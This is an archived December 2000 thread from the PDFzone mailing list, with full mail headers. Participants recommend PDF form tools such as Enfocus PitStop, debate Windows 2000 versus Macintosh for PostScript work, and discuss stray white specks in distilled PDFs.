PDFzone.com | http://www.pdfzone.com __________________________________________________________________ yup. 30% more postscript errors on windows than on macintosh. do you have 30% more time to complete tasks? No? then buy yourself a mac and start making technology work for you, instead of you working around its limitations. seriously, you will crash less and go home earlier if you move to macintosh. enfocus pitstop will do what you want, but it will crash more often on windows. (As proof, i have _NEVER_ crashed my mac wordprocessing. my pc's crash randomly, whatever the task.) Ivy Wood wrote: > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Good day. I could use your help identifying which tools or plugins are > recommended for the work that I am doing. I work on Win98 but our IT > department wants me to graduate to Win2000. I am resisting because I know > that WinNT which Win2000 is derived from is not PostScript friendly. Is > anyone out there successfully creating very small PDFs under Win2000? > > I create forms which our software's UI gathers the information/data for > and the logical model we create decides which forms to print and populate > the fields of. The end users of my forms will Never interact with the PDF- > only with the software's user interface which is browser based. The PDFs > are streamed to the client at the end of their session simply so that they > have a set of forms documenting the transactions they made in the > software. So I create intelligent PDF forms but not interactive ones. > > My job has several major parts. > > Part One - I create forms which are converted to PDF forms but also need > to be filled out by hand therefore I do not add drop down lists or other > GUI objects to these forms. Currently I am using MSPublisher 2000 because > it was available but will probably switch to a ""PostScript"" aware software > tool shortly such as Corel Ventura. > > Part Two - PDFs are sent to me from sources that I have no control over. > These are forms to which I will be adding form fields. These PDFs have > often not been optimized for desktop printing. Looks like they turn the > press piece into a PDF and then think that will serve for desktop as well. > So paper sizes may not have been standardized - some of them even have > text that is clipped if ""fit to paper"" is not selected. They might have > bleeds or very large blocks of color (toner wasters) or page numbers that > are no longer accurate. I will need to try to fix these problems so that > the PDF forms can be printed to desktop printers. > > Part Three - On occasion, I may need to scan some forms, create a PDF of > it and add form fields. The scanner is on the way but I assume some kind > of Acrobat plugin might be helpful here say for deskewing and making the > lines on the form of consistent weight, color and etc. > > Part Four - Form Fields, forms field, form fields. Some of the PDFs > mentioned above might be several pages with a hundred or so form fields. > Right now I have to double click on each one to be sure that I've > appropriately assigned attributes, formatting and/or scripts. It would be > nice to find some kind of form field reporting software that would help me > manage and document all of these fields. > > I am considering purchasing PitStop Pro. from Enfocus. I hope their > product will enable me to adjust the alien PDFs for desktop printing (Part > Two) plus assist with the form scanning (Part Three). But I'm not sure if > I need other software from Enfocus or if PitStop will do all that I need. > Or perhaps there is another vendor/product that would be helpful. The form > field reporting is VERY important. Anything that will help me manage all > these fields in a quick and easy way will be a great asset. > > At this time, I am more interested in purchasing an off-the shelf solution > or two and won't be able to put in the time needed to analyze solutions > which developer contractors may offer to design. > > What do you recommend? Please be as specific as possible: > Vendor/Manufacturer, Product, Product version, how you believe it will > help, website for more info., and etc. > > Thanks for the input regarding my PDF specifications which I posted > earlier. It is still online http://www.concentric.net/~Ivyjeff/WebWorks/ > if you'd like to take a look. I have yet to update it with the advice that > I received from the list. Most of which related to the Fonts section. The > recommendation was to remove the section regarding ""never embed the Base > 14 fonts"". However, I may leave it in because I KNOW the demographics of > my user base and I'm trying to make my file sizes the smallest I possibly > can. I will test and research this further. > > Thanks! > > ===== > Ivy Wood > Content Developer > 303-440-8833 ext. 125 > www.streampoint.com > work: ivyw@streampoint.com > personal: ivy_wood@yahoo.com > family: IvyJeff@concentric.net > > __________________________________________________ > Do You Yahoo!? > Yahoo! Shopping - Thousands of Stores. Millions of Products. > http://shopping.yahoo.com/ > > Receive the latest PDF News in your Inbox. > > ---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 22:20:24-GMT,2184;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA11106 for ; Tue, 12 Dec 2000 15:20:23 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA24094; Tue, 12 Dec 2000 16:19:41 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 16:12:53 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA23663; Tue, 12 Dec 2000 16:12:52 -0600 Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA23659 for ; Tue, 12 Dec 2000 16:12:50 -0600 Received: from lpiper.demon.co.uk ([158.152.165.240] helo=postle.net) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 145xf8-000J59-0X for pdf@lists.pdfzone.com; Tue, 12 Dec 2000 22:12:42 +0000 Message-ID: <3A36A2B9.588BD356@postle.net> Date: Tue, 12 Dec 2000 22:12:09 +0000 From: Denis X-Mailer: Mozilla 4.7 [en-gb] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: [PDF] Clarkson Apology Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ My apologies to anyone who has been annoyed by the mis-post of the Clarkson letter. An unintended and irritating convergence/collision of universes. I'll take more care to keep my worlds distinct. I'm really sorry. Greetings Denis Postle The Mind Gymnaisum: Digital edition Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 22:50:21-GMT,3740;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id PAA12060 for ; Tue, 12 Dec 2000 15:50:20 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA26051; Tue, 12 Dec 2000 16:49:58 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 16:42:28 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA25603; Tue, 12 Dec 2000 16:42:27 -0600 Received: from net.cc.swin.edu.au (c3p0.cc.swin.edu.au [136.186.1.10]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA25599 for ; Tue, 12 Dec 2000 16:42:24 -0600 Received: from dstrover (su88-64.su.swin.edu.au [136.186.88.64]) by net.cc.swin.edu.au (8.9.3/8.9.3) with SMTP id JAA29577 for ; Wed, 13 Dec 2000 09:42:19 +1100 (AEDT) Message-Id: <200012122242.JAA29577@net.cc.swin.edu.au> Comments: Authenticated sender is From: ""David Strover"" Organization: Swinburne University of Technology To: pdf@lists.pdfzone.com Date: Wed, 13 Dec 2000 09:42:19 +0000 Subject: Re: [PDF] tools recommendation / Win200 question In-reply-to: <20001212212934.7370.qmail@web3702.mail.yahoo.com> X-mailer: Pegasus Mail for Win32 (v2.54) Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ > > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Good day. I could use your help identifying which tools or plugins are > recommended for the work that I am doing. I work on Win98 but our IT > department wants me to graduate to Win2000. I am resisting because I know > that WinNT which Win2000 is derived from is not PostScript friendly. Is > anyone out there successfully creating very small PDFs under Win2000? > I use Win NT for design and create pdf files and don't have a problem with postscript on NT. What do you mean by not postscript friendly - neither Macs nor PCs can display postscript natively and as far as I know you need Adobe Type Manager to deal with postscript fonts without hassles. One thing I have noticed is that computer administrators often make the mistake of installing a non-postscript printer driver - watch for that. As for pdf tools - I don't do forms or anything - just try and get pdf files to service bureaus and as such don't really need pitstop or the like. However I have seen pitstop in action and it can get into pdf files and modify elements which is pretty impressive. I have also seen ""Quite a box of tricks"" and I don't know whether it does what you need but it might be worth a look. David Strover ---------------------------------------------- Oloun paapaa ko gbon to . . . Not even god is wise enough Yoruba Proverb David Strover Media Office Swinburne Student Union DStrover@swin.edu.au Ph 9214 5450 Fax 9819 2256 PO Box 390 Hawthorn Vic. 3122 Australia ---------------------------------------------- Free East Timor Free the refugees who are stuck in West Timor. Indonesia must let them go home! Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 23:01:49-GMT,11155;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA12354 for ; Tue, 12 Dec 2000 16:01:48 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA27081; Tue, 12 Dec 2000 17:01:36 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 16:54:35 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id QAA26438; Tue, 12 Dec 2000 16:54:33 -0600 Received: from smtp-relay-2.Adobe.COM (smtp-relay-2.adobe.com [192.150.11.2]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id QAA26432 for ; Tue, 12 Dec 2000 16:54:32 -0600 Received: from inner-relay-1.Adobe.COM (inner-relay-1.corp.adobe.com [153.32.1.51]) by smtp-relay-2.Adobe.COM (8.8.6) with ESMTP id OAA13187 for ; Tue, 12 Dec 2000 14:57:54 -0800 (PST) Received: from mailsj-v1.corp.adobe.com by inner-relay-1.Adobe.COM (8.8.5) with ESMTP id OAA12723; Tue, 12 Dec 2000 14:53:29 -0800 (PST) Received: from isaacs-base.adobe.com ([153.32.39.110]) by mailsj-v1.corp.adobe.com (Netscape Messaging Server 4.15) with ESMTP id G5H8YI00.RR9; Tue, 12 Dec 2000 14:54:18 -0800 X-Organization: Adobe Systems Incorporated X-URL: X-Location: Office (ISAACS-BASE) Message-Id: <5.0.2.1.2.20001212142752.02685510@mailsj.corp.adobe.com> X-Sender: isaacs@mailsj.corp.adobe.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Tue, 12 Dec 2000 14:54:17 -0800 To: Ivy Wood , cjmarch From: ""Dov Isaacs"" Subject: Re: [PDF] tools recommendation / Win200 question Cc: PDF Zone discuss In-Reply-To: <20001212212934.7370.qmail@web3702.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Ivy, Windows 2000 is a very smart way to go if you are currently on either Windows'9x, Windows Me, or Windows NT 4. It is correct that Windows NT 4 was somewhat PostScript and Type 1 brain-dead. However, Type 1 and OpenType font rendering is now integrated into the Windows 2000 operating system per a joint project of Adobe and Microsoft. It is the most stable and reliable of the Windows variants at this point and its font handling and PostScript driver support is at least as good as if not better than MacOS 9. There is no problem creating PDF files under Windows 2000 that you wouldn't have under any other operating system environment. Important caveat!!! Do NOT, I repeat NOT, do an ""upgrade"" from Windows'98 (or any other version of Windows) to Windows 2000. Do what is called a ""clean install"" in which you effectively move all your data off your system, reformat the disk, load the operating system, and then reload your applications. The Microsoft ""upgrader"" leaves too many ""doggy droppings"" on the system and you will have problems from the first boot onward. These problems do not occur with a clean install. Also note that a number of applications install differently under Windows 2000 (or NT) than on Windows'9x. You really want them installed such that they work correctly for Windows 2000. I leave the other questions to be answered by other participants on this list. - Dov cjmarch , I find your comments rather interesting. I suspect that you are somewhat of a Macintosh ""fan."" First of all, with regards to your claim of ""30% more PostScript errors on Windows than on Macintosh"" ... What applications are you seeing this with? With applications such as Adobe Photoshop, Adobe Illustrator, Adobe InDesign, and Quark XPress, ALL the PostScript is generated by the application itself, not the operating system and not the driver. In the case of the Adobe applications, I can readily vouch for the fact that the PostScript generation cross-platform is IDENTICAL except for the ""setpagedevice"" commands at the start of the job and those are PPD file-based. And Adobe is not aware of any 30% more PostScript bug problem with the Windows drivers. We should know because Adobe provides the drivers for both the Macintosh (the LaserWriter and the AdobePS drivers) and Windows (AdobePS for Windows'9x/Me/NT 4 and PSCRIPT for Windows 2000). Maybe the problem you are seeing with regards to a large number of PostScript errors has nothing to do with the platform the PostScript came from, but rather inexperience on the part of newer customers you may have been encountering who are running on Windows as opposed to the more traditional ones you have dealt with in the past who were totally Macintosh-based. Secondly, if you have a PC crashing ""randomly, whatever the task"" I respectfully submit that either (1) your hardware is flaky and needs attention, (2) you are running Windows'9x or Me and should really be running Windows 2000, or (3) your system is grossly misconfigured somehow. But plenty of graphics professionals and enterprise users run under Windows at least as effectively, efficiently, and successfully as those who run under Macintosh. Personally, I run under both. Each has its own slight edge in certain areas. And both have their quirks and liabilities. There is no question that the Macintosh has garnered its own cult with true-believers. The problem is separating the feelings from realities. - Dov At 12/12/2000 02:00 PM, cjmarch wrote: >yup. 30% more postscript errors on windows than on macintosh. do you have 30% >more time to complete tasks? No? then buy yourself a mac and start making >technology work for you, instead of you working around its limitations. >seriously, you will crash less and go home earlier if you move to macintosh. >enfocus pitstop will do what you want, but it will crash more often on windows. >(As proof, i have _NEVER_ crashed my mac wordprocessing. my pc's crash >randomly, whatever the task.) At 12/12/2000 01:29 PM, Ivy Wood wrote: >Good day. I could use your help identifying which tools or plugins are >recommended for the work that I am doing. I work on Win98 but our IT >department wants me to graduate to Win2000. I am resisting because I know >that WinNT which Win2000 is derived from is not PostScript friendly. Is >anyone out there successfully creating very small PDFs under Win2000? > >I create forms which our software's UI gathers the information/data for >and the logical model we create decides which forms to print and populate >the fields of. The end users of my forms will Never interact with the PDF- >only with the software's user interface which is browser based. The PDFs >are streamed to the client at the end of their session simply so that they >have a set of forms documenting the transactions they made in the >software. So I create intelligent PDF forms but not interactive ones. > >My job has several major parts. > >Part One - I create forms which are converted to PDF forms but also need >to be filled out by hand therefore I do not add drop down lists or other >GUI objects to these forms. Currently I am using MSPublisher 2000 because >it was available but will probably switch to a ""PostScript"" aware software >tool shortly such as Corel Ventura. > >Part Two - PDFs are sent to me from sources that I have no control over. >These are forms to which I will be adding form fields. These PDFs have >often not been optimized for desktop printing. Looks like they turn the >press piece into a PDF and then think that will serve for desktop as well. >So paper sizes may not have been standardized - some of them even have >text that is clipped if ""fit to paper"" is not selected. They might have >bleeds or very large blocks of color (toner wasters) or page numbers that >are no longer accurate. I will need to try to fix these problems so that >the PDF forms can be printed to desktop printers. > >Part Three - On occasion, I may need to scan some forms, create a PDF of >it and add form fields. The scanner is on the way but I assume some kind >of Acrobat plugin might be helpful here say for deskewing and making the >lines on the form of consistent weight, color and etc. > >Part Four - Form Fields, forms field, form fields. Some of the PDFs >mentioned above might be several pages with a hundred or so form fields. >Right now I have to double click on each one to be sure that I've >appropriately assigned attributes, formatting and/or scripts. It would be >nice to find some kind of form field reporting software that would help me >manage and document all of these fields. > >I am considering purchasing PitStop Pro. from Enfocus. I hope their >product will enable me to adjust the alien PDFs for desktop printing (Part >Two) plus assist with the form scanning (Part Three). But I'm not sure if >I need other software from Enfocus or if PitStop will do all that I need. >Or perhaps there is another vendor/product that would be helpful. The form >field reporting is VERY important. Anything that will help me manage all >these fields in a quick and easy way will be a great asset. > >At this time, I am more interested in purchasing an off-the shelf solution >or two and won't be able to put in the time needed to analyze solutions >which developer contractors may offer to design. > >What do you recommend? Please be as specific as possible: >Vendor/Manufacturer, Product, Product version, how you believe it will >help, website for more info., and etc. > >Thanks for the input regarding my PDF specifications which I posted >earlier. It is still online http://www.concentric.net/~Ivyjeff/WebWorks/ >if you'd like to take a look. I have yet to update it with the advice that >I received from the list. Most of which related to the Fonts section. The >recommendation was to remove the section regarding ""never embed the Base >14 fonts"". However, I may leave it in because I KNOW the demographics of >my user base and I'm trying to make my file sizes the smallest I possibly >can. I will test and research this further. > >Thanks! > > >===== >Ivy Wood >Content Developer >303-440-8833 ext. 125 >www.streampoint.com >work: ivyw@streampoint.com >personal: ivy_wood@yahoo.com >family: IvyJeff@concentric.net > >__________________________________________________ >Do You Yahoo!? >Yahoo! Shopping - Thousands of Stores. Millions of Products. >http://shopping.yahoo.com/ > >Receive the latest PDF News in your Inbox. > >---------------------------------------------------------------------------- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 12-Dec-2000 23:57:01-GMT,2997;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id QAA13987 for ; Tue, 12 Dec 2000 16:56:59 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA30175; Tue, 12 Dec 2000 17:56:07 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 17:48:21 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id RAA29684; Tue, 12 Dec 2000 17:48:20 -0600 Received: from larry.webcom.com (larry.webcom.com [209.1.28.41]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id RAA29680 for ; Tue, 12 Dec 2000 17:48:18 -0600 Received: from kigal (kigal.webcom.com [209.1.28.57]) by larry.webcom.com (8.9.3/8.9.3) with SMTP id PAA03976 for ; Tue, 12 Dec 2000 15:48:12 -0800 Message-Id: <200012122348.PAA03976@larry.webcom.com> Received: from [207.225.190.243] by inanna.webcom.com (WebCom SMTP 2.0) with SMTP id 56572405; Tue Dec 12 15:47 PST 2000 Date: Tue, 12 Dec 2000 16:47:59 -0700 From: Robert Rosenwald Subject: re[2]: [PDF] tools recommendation / Win200 question To: Mime-Version: 1.0 Organization: Poisoned Pen Press X-Mailer: GoldMine [5.00.909] Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by everglades.binc.net id RAA29681 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Is it really necessary or desirable to start up an OS war? Windows is a piece of garbage and Mac doesn't multitask (yet). OS/2 was the best PC operating system ever and Linux may be the best right now. Who gives a rat's ass? Grow up. ->yup. 30% more postscript errors on windows than on macintosh. do you have 30% ->more time to complete tasks? No? then buy yourself a mac and start making ->technology work for you, instead of you working around its limitations. ->seriously, you will crash less and go home earlier if you move to macintosh. ->enfocus pitstop will do what you want, but it will crash more often on windows. ->(As proof, i have _NEVER_ crashed my mac wordprocessing. my pc's crash ->randomly, whatever the task.) Robert Rosenwald President Poisoned Pen Press robert@poisonedpenpress.com www.poisonedpenpress.com 800-421-3976 Vir bonus semper discipulus est Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 13-Dec-2000 0:16:18-GMT,9013;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id RAA14504 for ; Tue, 12 Dec 2000 17:16:17 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id SAA31275; Tue, 12 Dec 2000 18:15:32 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Tue, 12 Dec 2000 18:08:30 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id SAA30917; Tue, 12 Dec 2000 18:08:29 -0600 Received: from exchange.kayesmith.com (ftp.kayesmith.com [208.222.254.3]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id SAA30913 for ; Tue, 12 Dec 2000 18:08:27 -0600 Received: by 175.infobaz.com with Internet Mail Service (5.5.2650.21) id ; Tue, 12 Dec 2000 16:01:51 -0800 Message-ID: <096CA9B32660D311A4B30008C79F4CE0F40287@175.infobaz.com> From: Matt Beals To: ""'pdf@lists.pdfzone.com'"" Subject: RE: [PDF] tools recommendation / Win2000 question Date: Tue, 12 Dec 2000 16:01:50 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset=""iso-8859-1"" Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ Cjmarch, you must work on poorly configured systems! The Adobe PS/LaserWriter controls the generation of postscript. Adobe takes care of making those. Both systems have their merits. Personally, content creation for me is easier on the Mac. I have both Mac (OS 9.0.4) and a PC (NT4WS). Both are extremely stable. When it comes to using Pitstop though, I think my PC is much better in terms of speed and stability. You should contact a competent Mac technician to examine your system, as well as a competent PC technician. Now to the point. Ivy, I would suggest that you stay away from Corel products in general. I have had a harder time using them more often than not. I would suggest QuarkXPress first, and PageMaker/InDesign second. I highly recommend PitStop Pro. You can change font embedding settings, down/up sample images and a myriad of other things. Plus, with its actions list, you can create a script of sorts to perform repeated tasks. Enfocus (http://www.enfocus.com includes many actions already created for much of what you are looking to do. Very much worth the money as it is such a powerful tool. I am not sure about what to do for the last few questions. Feel free to contact me off list if you would like. Matt Beals Preflight Engineer Kaye-Smith (425) 227-3209 (800) 822-9987 x1281 mailto:matt.beals@kayesmith.com http://www.kayesmith.com -----Original Message----- From: cjmarch [mailto:prepress@goprep.com] Sent: Tuesday, December 12, 2000 2:01 PM To: pdf@lists.pdfzone.com Subject: Re: [PDF] tools recommendation / Win200 question The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ yup. 30% more postscript errors on windows than on macintosh. do you have 30% more time to complete tasks? No? then buy yourself a mac and start making technology work for you, instead of you working around its limitations. seriously, you will crash less and go home earlier if you move to macintosh. enfocus pitstop will do what you want, but it will crash more often on windows. (As proof, i have _NEVER_ crashed my mac wordprocessing. my pc's crash randomly, whatever the task.) Ivy Wood wrote: > The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com > __________________________________________________________________ > > Good day. I could use your help identifying which tools or plugins are > recommended for the work that I am doing. I work on Win98 but our IT > department wants me to graduate to Win2000. I am resisting because I know > that WinNT which Win2000 is derived from is not PostScript friendly. Is > anyone out there successfully creating very small PDFs under Win2000? > > I create forms which our software's UI gathers the information/data for > and the logical model we create decides which forms to print and populate > the fields of. The end users of my forms will Never interact with the PDF- > only with the software's user interface which is browser based. The PDFs > are streamed to the client at the end of their session simply so that they > have a set of forms documenting the transactions they made in the > software. So I create intelligent PDF forms but not interactive ones. > > My job has several major parts. > > Part One - I create forms which are converted to PDF forms but also need > to be filled out by hand therefore I do not add drop down lists or other > GUI objects to these forms. Currently I am using MSPublisher 2000 because > it was available but will probably switch to a ""PostScript"" aware software > tool shortly such as Corel Ventura. > > Part Two - PDFs are sent to me from sources that I have no control over. > These are forms to which I will be adding form fields. These PDFs have > often not been optimized for desktop printing. Looks like they turn the > press piece into a PDF and then think that will serve for desktop as well. > So paper sizes may not have been standardized - some of them even have > text that is clipped if ""fit to paper"" is not selected. They might have > bleeds or very large blocks of color (toner wasters) or page numbers that > are no longer accurate. I will need to try to fix these problems so that > the PDF forms can be printed to desktop printers. > > Part Three - On occasion, I may need to scan some forms, create a PDF of > it and add form fields. The scanner is on the way but I assume some kind > of Acrobat plugin might be helpful here say for deskewing and making the > lines on the form of consistent weight, color and etc. > > Part Four - Form Fields, forms field, form fields. Some of the PDFs > mentioned above might be several pages with a hundred or so form fields. > Right now I have to double click on each one to be sure that I've > appropriately assigned attributes, formatting and/or scripts. It would be > nice to find some kind of form field reporting software that would help me > manage and document all of these fields. > > I am considering purchasing PitStop Pro. from Enfocus. I hope their > product will enable me to adjust the alien PDFs for desktop printing (Part > Two) plus assist with the form scanning (Part Three). But I'm not sure if > I need other software from Enfocus or if PitStop will do all that I need. > Or perhaps there is another vendor/product that would be helpful. The form > field reporting is VERY important. Anything that will help me manage all > these fields in a quick and easy way will be a great asset. > > At this time, I am more interested in purchasing an off-the shelf solution > or two and won't be able to put in the time needed to analyze solutions > which developer contractors may offer to design. > > What do you recommend? Please be as specific as possible: > Vendor/Manufacturer, Product, Product version, how you believe it will > help, website for more info., and etc. > > Thanks for the input regarding my PDF specifications which I posted > earlier. It is still online http://www.concentric.net/~Ivyjeff/WebWorks/ > if you'd like to take a look. I have yet to update it with the advice that > I received from the list. Most of which related to the Fonts section. The > recommendation was to remove the section regarding ""never embed the Base > 14 fonts"". However, I may leave it in because I KNOW the demographics of > my user base and I'm trying to make my file sizes the smallest I possibly > can. I will test and research this further. > > Thanks! > > ===== > Ivy Wood > Content Developer > 303-440-8833 ext. 125 > www.streampoint.com > work: ivyw@streampoint.com > personal: ivy_wood@yahoo.com > family: IvyJeff@concentric.net > > __________________________________________________ > Do You Yahoo!? > Yahoo! Shopping - Thousands of Stores. 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Thanks. -Don x-mozilla-cpt:;3 fn:Don Montalvo end:vcard --------------302EFECA8C3848E1E5B471AE-- Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 13-Dec-2000 13:06:02-GMT,2582;000000000000 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id GAA03010 for ; Wed, 13 Dec 2000 06:06:01 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id HAA30400; Wed, 13 Dec 2000 07:04:53 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 13 Dec 2000 06:53:51 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id GAA29913; Wed, 13 Dec 2000 06:53:49 -0600 Received: from mail15a.boca15-verio.com (mail15a.boca15-verio.com [208.55.91.57]) by everglades.binc.net (8.8.8/8.8.8) with SMTP id GAA29909 for ; Wed, 13 Dec 2000 06:53:48 -0600 Received: from 128.241.184.170 (128.241.184.170) by mail15a.boca15-verio.com (RS ver 1.0.57s) with SMTP id 07998050 for ; Wed, 13 Dec 2000 07:53:28 -0500 (EST) User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Wed, 13 Dec 2000 07:53:33 -0500 Subject: Re: [PDF] Small dots appearing in PDF From: Mike Connelly To: Message-ID: In-Reply-To: <3A36E0D7.C8865A74@msdw.com> Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit X-Loop-Detect: 1 Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ on 12/12/00 9:37 PM, Don Montalvo at Don.Montalvo@msdw.com wrote: I had the same thing occur randomly on a 48 page job. I ended up having to remove them with Pitstop. > We have a Quark document which has a placed dark blue TIFF image > and some yellow text over it. We print to file and distill using > Distiller 4. On the PDF, there is a tiny white speck that shows > up where the text boxe(s) were. The spec seems to retain it's > size no matter what magnification the PDF is set to...any ideas? > > Don Michael Connelly System Manager Imtech Graphics 201-933-8002 mconnelly@imtechgraphics.com Receive the latest PDF News in your Inbox. ---------------------------------------------------------------------------- 13-Dec-2000 14:26:42-GMT,3540;000000000001 Return-Path: Received: from everglades.binc.net (everglades.binc.net [208.155.48.8]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id HAA04927 for ; Wed, 13 Dec 2000 07:26:41 -0700 (MST) Received: from localhost (majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA02779; Wed, 13 Dec 2000 08:26:33 -0600 Received: by everglades.binc.net (bulk_mailer v1.8); Wed, 13 Dec 2000 08:17:27 -0600 Received: (from majordom@localhost) by everglades.binc.net (8.8.8/8.8.8) id IAA02103; Wed, 13 Dec 2000 08:17:25 -0600 Received: from megamail.dsl.net (megamail.dsl.net [209.87.64.97]) by everglades.binc.net (8.8.8/8.8.8) with ESMTP id IAA02098 for ; Wed, 13 Dec 2000 08:17:23 -0600 Received: from goprep.com (64-51-1-106.client.dsl.net [64.51.1.106]) by megamail.dsl.net (8.9.3/8.9.3) with ESMTP id JAA15058 for ; Wed, 13 Dec 2000 09:17:22 -0500 Message-ID: <3A378667.53972A05@goprep.com> Date: Wed, 13 Dec 2000 09:23:56 -0500 From: cjmarch X-Mailer: Mozilla 4.73 (Macintosh; U; PPC) X-Accept-Language: en MIME-Version: 1.0 To: pdf@lists.pdfzone.com Subject: Re: [PDF] tools recommendation / Win200 question References: <200012122348.PAA03976@larry.webcom.com> Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; x-mac-creator=""4D4F5353"" Content-Transfer-Encoding: 7bit Sender: owner-pdf@lists.pdfzone.com Reply-To: pdf@lists.pdfzone.com X-LISTINFO: http://www.pdfzone.com/resources/lists.html X-ARCHIVE: http://www.pdfzone.com/resources/listarchives.html X-CONTACT: mailto:webmaster@pdfzone.com The PDF list is a service provided by PDFzone.com | http://www.pdfzone.com __________________________________________________________________ so you have no interest in helping this lady to be stable in ps output? going home earlier? nice. i'm simply giving a better solution- it makes my life easier, so i want to share. you don't care. you shut up. cjmarch Robert Rosenwald wrote: > The PDF list is a service provided by 